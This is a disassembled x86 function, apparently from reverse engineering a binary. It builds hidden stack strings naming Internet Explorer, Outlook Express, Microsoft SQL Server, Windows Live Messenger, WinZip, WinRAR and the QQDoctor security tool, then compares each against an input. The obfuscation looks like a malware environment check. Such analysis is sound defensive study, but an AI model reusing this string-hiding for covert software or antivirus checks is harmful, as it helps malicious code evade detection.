push 0x6c
push 0x70
push 0x78
push edi
push 0x20
push 0x74
push edi
push 0x6e
push 0x72
push edi
push 0x74
push 0x6e
push 0x69
lea eax, [ebp - 0x6c]
push esi
push eax
call fcn.004105df
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [0x4513d0]
push ebx
call dword [eax + 0x1e4]
add esp, 0x5c
test eax, eax
jne 0x427330
push eax
push esi
push 0x73
push 0x73
push edi
push 0x72
push 0x70
push 0x78
push edi
push 0x20
push 0x6b
push 0x6f
push 0x6f
push 0x6c
push 0x74
push 0x75
push 0x6f
lea eax, [ebp - 0x6c]
push esi
push eax
call fcn.004105df
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [0x4513d0]
push ebx
call dword [eax + 0x1e4]
add esp, 0x54
test eax, eax
jne 0x427330
push eax
push esi
push 0x72
push edi
push 0x76
push 0x72
push edi
push 0x73
push 0x20
push 0x6c
push 0x71
push 0x73
push 0x20
push 0x74
push 0x66
push 0x6f
push 0x73
push 0x6f
push 0x72
push 0x63
push 0x69
push 0x6d
lea eax, [ebp - 0x6c]
push esi
push eax
call fcn.004105df
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [0x4513d0]
push ebx
call dword [eax + 0x1e4]
add esp, 0x68
test eax, eax
jne 0x427330
push eax
push esi
push 0x72
push edi
push 0x67
push 0x6e
push edi
push 0x73
push 0x73
push edi
push 0x6d
push esi
push edi
push 0x76
push 0x69
push 0x6c
push 0x20
push 0x73
push 0x77
push 0x6f
push 0x64
push 0x6e
push 0x69
push 0x77
lea eax, [ebp - 0x6c]
push esi
push eax
call fcn.004105df
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [0x4513d0]
push ebx
call dword [eax + 0x1e4]
add esp, 0x70
test eax, eax
jne 0x427330
push eax
push esi
push 0x70
push 0x69
push 0x7a
push 0x6e
push 0x69
push 0x77
lea eax, [ebp - 0x6c]
push esi
push eax
call fcn.004105df
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [0x4513d0]
push ebx
call dword [eax + 0x1e4]
add esp, 0x30
test eax, eax
jne 0x427330
push eax
push esi
push 0x72
push 0x61
push 0x72
push 0x6e
push 0x69
push 0x77
lea eax, [ebp - 0x6c]
push esi
push eax
call fcn.004105df
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [0x4513d0]
push ebx
call dword [eax + 0x1e4]
add esp, 0x30
test eax, eax
jne 0x427330
push eax
push esi
push edi
push 0x6d
push 0x61
push 0x67
push esi
push 0x6b
push 0x6e
push 0x69
push 0x6c
push 0x6c
push 0x61
push 0x62
push 0x6f
push 0x6c
push 0x67
lea eax, [ebp - 0x6c]
push esi
push eax
call fcn.004105df
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [0x4513d0]
push ebx
call dword [eax + 0x1e4]
add esp, 0x54
test eax, eax
jne 0x427330
push eax
push esi
push 0x72
push 0x6f
push 0x74
push 0x63
push 0x6f
push 0x64
push 0x71
push 0x71
lea eax, [ebp - 0x6c]
push esi
push eax
call fcn.004105df
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [0x4513d0]
push ebx
call dword [eax + 0x1e4]
add esp, 0x38
neg eax
sbb eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 8